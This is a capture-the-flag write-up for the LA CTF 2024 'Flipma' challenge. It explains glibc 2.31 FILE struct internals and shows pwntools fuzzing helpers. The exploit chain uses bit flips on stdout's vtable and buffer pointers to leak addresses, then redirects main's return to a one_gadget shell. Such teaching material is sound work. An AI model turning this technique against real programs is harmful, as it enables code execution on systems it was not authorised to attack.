

Flipma - LA CTF 2024

by Marco Pelleri

Overview

what's flipma?

This challenge gives us a very simple binary, here's the decompiled code:

```
int flips = 4;

int64_t readint()
{
    char buf[24]; // [rsp+0h] [rbp-20h] BYREF
    unsigned __int64 v2; // [rsp+18h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    read(0, buf, 0x10uLL);
    return atol(buf);
}

int flip()
{
    int64_t offset; // [rsp+10h] [rbp-10h]
    int64_t bit; // [rsp+18h] [rbp-8h]

    write(1, "a: ", 3uLL);
    offset = readint();
    write(1, "b: ", 3uLL);
    bit = readint();
    if ( bit < 0 || bit > 7 )
        return puts("we're flipping bits, not burgers");
    (byte*)stdin[offset] ^= 1 << bit;
    return --flips;
}

int main()
{
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    while ( flips > 0 )
        flip();
    puts("no more flips");
    return 0;
}
```

It lets us bit-flip any byte at a given offset from stdin 4 times.

So, we can bit-flip anything inside libc! First of all, we probably can't just spawn a shell with 4 flips, so we should find a way to get more (infinite?) flips; the first thing I did was to look at all the libc functions called by the program: `setbuf()` is called before we can interact with the program, so we can ignore it, same for `read()` and `write()` since they don't interact with any

libc memory, and `atol()` because it only accesses some read only memory, probably a conversion table. Therefore, we're left with `puts()` and the exit routines. This together with the fact that our offset is applied to `stdin` is probably hinting at FILE struct exploitation.

Basics of FILE struct exploitation

I won't explain FILE structs and their exploitation too in depth, both because there's a lot of good resources about them online and because I'm not an expert, but [here's what the FILE struct \(internally called `_IO_FILE`\) looks like on libc 2.31](#) (which is what's used by the challenge):

```
struct _IO_FILE
{
    int _flags;          /* High-order word is _IO_MAGIC; rest is flags. */

    /* The following pointers correspond to the C++ streambuf protocol. */
    char *_IO_read_ptr;  /* Current read pointer */
    char *_IO_read_end;  /* End of get area. */
    char *_IO_read_base; /* Start of putback+get area. */
    char *_IO_write_base; /* Start of put area. */
    char *_IO_write_ptr;  /* Current put pointer. */
    char *_IO_write_end;  /* End of put area. */
    char *_IO_buf_base;   /* Start of reserve area. */
    char *_IO_buf_end;    /* End of reserve area. */

    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base; /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
    int _flags2;
    __off_t _old_offset; /* This used to be _offset but it's too small. */

    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];

    _IO_lock_t *_lock;
};
```

The `_flags` field indicates the file modes (read/write, ...) as well as the stream's status: whether it's buffered, currently in use, etc..

Buffered streams improve performance by reducing the number of syscalls used, they do this by keeping a buffer on the heap to store data temporarily. For example, when the program requests to read 10 bytes, more might be read into the buffer so that the next requests can be fulfilled by just reading from this in-memory buffer, or when a write is requested the buffer will be modified immediately but the actual file won't, instead waiting to perform a single bigger write

composed of multiple write requests. The pointers below `_flags` refer to these buffers. An interesting fact about them is that even if we set the stream to be unbuffered, which the program does, these pointers aren't set to NULL, **they're set to point to the FILE struct itself, and internal functions don't check whether the stream is buffered via its flags, but via these pointers**. This will become more important later.

The rest is either self-explanatory or not needed for this exploit; `_fileno` is the file descriptor, and `_lock` is a mutex ensuring that only one thread accesses the same FILE at once, preventing race conditions.

In reality `fopen()` doesn't actually return a `FILE*`, and it's not what `stdin/stdout/stderr` use; an extended version of this struct is used:

```
struct _IO_FILE_plus
{
    FILE file;
    const struct _IO_jump_t *vtable;
};
```

It contains our FILE struct, as well as a pointer to a vtable, which is just a table of function pointers that are called internally for various operations like read, write, puts, gets, seek, sync, close, etc. This is **VERY** important for FILE struct exploitation, it's what most exploits are based on. FILEs generally use the default vtable (`_IO_FILE_jumps`), here's what it looks like:

```
pwndbg> p _IO_file_jumps
$2 = {
    __dummy = 0,
    __dummy2 = 0,
    __finish = 0x7ffff7e64f50 <_IO_new_file_finish>,
    __overflow = 0x7ffff7e65d80 <_IO_new_file_overflow>,
    __underflow = 0x7ffff7e65a20 <_IO_new_file_underflow>,
    __uflow = 0x7ffff7e66f50 <__GI__IO_default_uflow>,
    __pbackfail = 0x7ffff7e68680 <__GI__IO_default_pbackfail>,
    __xspn = 0x7ffff7e645d0 <_IO_new_file_xspn>,
    __xsgetn = 0x7ffff7e64240 <__GI__IO_file_xsgetn>,
    __seekoff = 0x7ffff7e63860 <_IO_new_file_seekoff>,
    __seekpos = 0x7ffff7e67600 <_IO_default_seekpos>,
    __setbuf = 0x7ffff7e63530 <_IO_new_file_setbuf>,
    __sync = 0x7ffff7e633c0 <_IO_new_file_sync>,
    __doallocate = 0x7ffff7e56c70 <__GI__IO_file_doallocate>,
    __read = 0x7ffff7e645a0 <__GI__IO_file_read>,
    __write = 0x7ffff7e63e60 <_IO_new_file_write>,
    __seek = 0x7ffff7e63600 <__GI__IO_file_seek>,
    __close = 0x7ffff7e63520 <__GI__IO_file_close>,
    __stat = 0x7ffff7e63e40 <__GI__IO_file_stat>,
    __showmanyc = 0x7ffff7e68810 <_IO_default_showmanyc>,
    __imbue = 0x7ffff7e68820 <_IO_default_imbue>
}
pwndbg>
```

First steps

We can trigger a `puts()` call by trying to flip a bit out of range (10th bit for example), which will interact with stdout, so that's what we should target.

The vtable pointer is an obvious target since if we move it we can control what internal function `puts()` will call, but there's not going to be any pointers to one_gadgets in the libc and they wouldn't only be 4 bits away anyway. Besides, on modern libcs' this pointer is checked before being used, it must be within its general area, so we can move it a bit but we can't change it completely. This is still the most promising target, it just means that instead of making it call arbitrary function pointers we can only make it call those standard file functions.

Internally `puts()` calls `_IO_file_xsputn` (offset 0x38 in the vtable), which just prints N characters and then a newline:

```
*R14 0x7ffff7fbe4a0 (_IO_file_jumps) ← 0x0
R15 0x0
*RBP 0x7ffff7fc26a0 (_IO_2_1_stdout_) ← 0xfbad2087
*RSP 0x7ffffffffffdc30 → 0x5555555555360 ← endbr64
*RIP 0x7ffff7e594f4 (puts+212) ← call qword ptr [r14 + 0x38]
[ DISASM / x86-64 / set emulate on ]
► 0x7ffff7e594f4 <puts+212> call qword ptr [r14 + 0x38] <_IO_file_xsputn>
    rdi: 0x7ffff7fc26a0 (_IO_2_1_stdout_) ← 0xfbad2087
    rsi: 0x5555555556010 ← "we're flipping bits, not burgers"
    rdx: 0x20
    rcx: 0xc00
```

So what offset should we add to this vtable pointer? In challenges of this kind we typically have more control over, for example, its arguments, and that lets us narrow our search, but here we have an extremely broad 'search space'. I decided to fuzz the vtable pointer to try and see if I could get anything interesting to happen:

```
def flip(io: tube, off: int, i: int):
    io.send(str(off).encode().ljust(16, b'\0'))
    io.send(str(i).encode().ljust(16, b'\0'))

def convert(io: tube, off: int, original: int, target: int, max_popcount=4):
    diff = original ^ target
    popcount = bin(diff).count('1')
    assert popcount <= max_popcount

    for i in range(8):
        if diff & (1 << i):
            flip(io, off, i)

def fuzz():
    for i in range(0xff):
        io = conn()

        stdout_off = libc.sym._IO_2_1_stdout_ -
libc.sym._IO_2_1_stdin_
        stdout_vtable_ptr_off = stdout_off + 216 # &stdout-
>vtable_ptr - &stdin
        vtable = libc.sym._IO_file_jumps
        target = vtable + i*8
```

```

try:
    convert(io, stdout_vtable_ptr_off, vtable, target)
except Exception as err:
    io.close()
    continue

flip(io, 0, 10) # trigger puts()

log.info(f"i: {i}")
io.interactive()
io.close()
log.info(f"i: {i}")

```

And I found that by adding 30 (x8) to the vtable pointer it just printed a **TON** of memory! Upon further inspection it seems that this makes `puts()` call `_IO_default_uflow`, which in turn calls `_IO_file_finish`, which *I believe* is a function used to close files, and therefore also flushes the stream, printing everything left in its buffer, but due to some argument confusion it ends up using a pointer as the size passed to `write()`, and therefore dumps pretty much all the memory directly after the stream's buffer.

Recall that setting a stream to be unbuffered sets its buffer pointers to itself: this means that we've just leaked everything after stdout in memory! Sadly, this doesn't work remotely, because read/write syscalls have an OS-dependent size limit, making it work on my computer running Fedora for some reason (I think it doesn't even have a limit) but not on the remote server, which is probably running Ubuntu.

Side note: this leaks both libc and the stack via `environ`, but not the binary; after I found this leak and before realizing why it didn't work remotely I spent **A LOT** of time trying to win just with this, having only 2 flips left: it's a dead end. Even if it worked remotely, it's not enough to spawn a shell; a few ideas that I had were to mess with return pointers, but there's nowhere interesting to go, or with flip's frame pointer to overlap the 2 numbers we can input with main's return pointer. This doesn't end up working anyway, because we'd need 1 flip to move the frame pointer, and 1 to move main's return pointer so that it skips the final `puts()` since stdout is now really messed up and it'd crash, but then we wouldn't have the third flip needed to send our pointers.

More fuzzing!

So, we found a way to dump stdout's buffer (which is itself), and to dump out of bounds. The previous method isn't useful because it uses too big writes, and even if it didn't we need a PIE leak. There are pointers to the binary inside the libc, but they're before stdout.

We have 2 goals: dumping less memory, and dumping memory before stdout.

We can make the dump start earlier by flipping the `_IO_write_base` pointer (the start of the underlying write buffer), but if we do this the previous leak method fails because some functions check whether `_IO_write_base` is equal to `_IO_read_end`, and if not, they try to `seek()` the file to align them, and they end up erroring out; we need to flip `read_end` as well to keep it equal to `write_base`, but this uses up all of our 4 flips.

At this point I thought that maybe some of the functions called when fuzzing earlier would behave differently, in a more useful way, if stdout had an 'actual' buffer (size > 0), so I fuzzed again but expanded the buffer before calling `puts()`, and only fuzzed the vtable pointer's lower

byte, flipping only 1 bit, since we only have 2 left and need to use one to flip the `flips` counter and get 'infinite' flips:

```
def fuzz1bit():
    for i in range(8):
        stdout_off = libc.sym._IO_2_1_stdout_ -
libc.sym._IO_2_1_stdin_
        stdout_vtable_ptr_off = stdout_off + 216 # &stdout-
>vtable_ptr - &stdin

        io = conn()

        flip(io, stdout_off + 0x10 + 1, 5) # move read_end
        flip(io, stdout_off + 0x20 + 1, 5) # move write_base
        flip(io, stdout_vtable_ptr_off, i)
        flip(io, 0, 10)

        log.info(f"i: {i}")
        io.interactive()
        io.close()
        log.info(f"i: {i}")
```

And with this I found that flipping the most significant bit SOMETIMES works and flushes the buffer, leaking memory before stdout.

I'm still not sure why it doesn't always work, but whatever.

Last stretch

This dump contains a PIE leak, a libc leak, and a stack leak
(`program_invocation_short_name`).

We can then flip the `flips` counter to get 'infinite' flips.

This would be enough, we'd just need to calculate the offset to main's stack frame, and ROP / ret2libc, but this stack leak is 'unreliable', its offset to main's stack frame isn't constant, so we also have to leak `environ`.

We can just expand stdout's buffer to make it cover `environ` and do the same trick as above, the only caveat is that stdout is now messed up and `puts()` will crash if we try to call it, so we need to fix it, but that's easy since we know what it looked like before and what it looks like now.

After doing this we know where main's stack frame is and we can mess with its return pointer. The less we have to mess with the better, let's see if there's any usable `one_gadgets`:

```
[marco@fedora flipma]$ one_gadget libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
```

```
[ REGISTERS / show-flags off / show-compact-regs off ]
*RAX 0x0
*RBX 0x55555555360 ← endbr64
*RCX 0x7fff7ee3297 (write+23) ← cmp rax, -0x1000 /* 'H=' */
*RDX 0x0
*RDI 0x7fff7fc37e0 (_IO_stdfile_1_lock) ← 0x0
*RSI 0x7fff7fc2723 (_IO_2_1_stdout_+131) ← 0xfc37e000000000a /* '\n' */
*R8 0xe
R9 0x0
R10 0x7fff7f70ac0 (_nl_C_LC_CTYPE_toupper+512) ← 0x100000000
*R11 0x246
R12 0x55555555100 ← endbr64
R13 0x7fffffffdd80 ← 0x1
R14 0x0
R15 0x0
*RBP 0x0
*RSP 0x7fffffffdc98 → 0x7fff7df9083 (__libc_start_main+243) ← mov edi, eax
*RIP 0x55555555351 ← ret

[ DISASM / x86-64 / set emulate on ]
0x55555555350 pop rbp
▶ 0x55555555351 ret <0x7fff7df9083; __libc_start_main+243>
```

Perfect! The second gadget’s constraints are already fulfilled.

So we just need to flip main’s return pointer from `__libc_start_main+243` to our `one_gadget` and that’s it!

Summary

I really really liked this challenge; I had done a bit of FILE struct exploitation before, but just the basic ‘`fread()` your arbitrary FILE struct & get arbitrary read’, so I’m happy to have learnt more about FILE internals; I’ve also been thinking more about fuzzing lately, it can be very powerful.

The final exploit flow goes like this:

- Expand stdout’s buffer, which points to itself and has size 0 for unbuffered streams, by moving its `read_end` and `write_base` back to cover some libc & program addresses
- Corrupt its vtable pointer such that calling `puts()` flushes the stream, and trigger a `puts()` call to leak PIE & the libc
- Flip the `flips` counter to get ‘infinite’ flips
- Fix stdout and expand its buffer to cover `environ` , corrupt its vtable pointer again and leak a stable stack address
- Change main’s return pointer to a `one_gadget`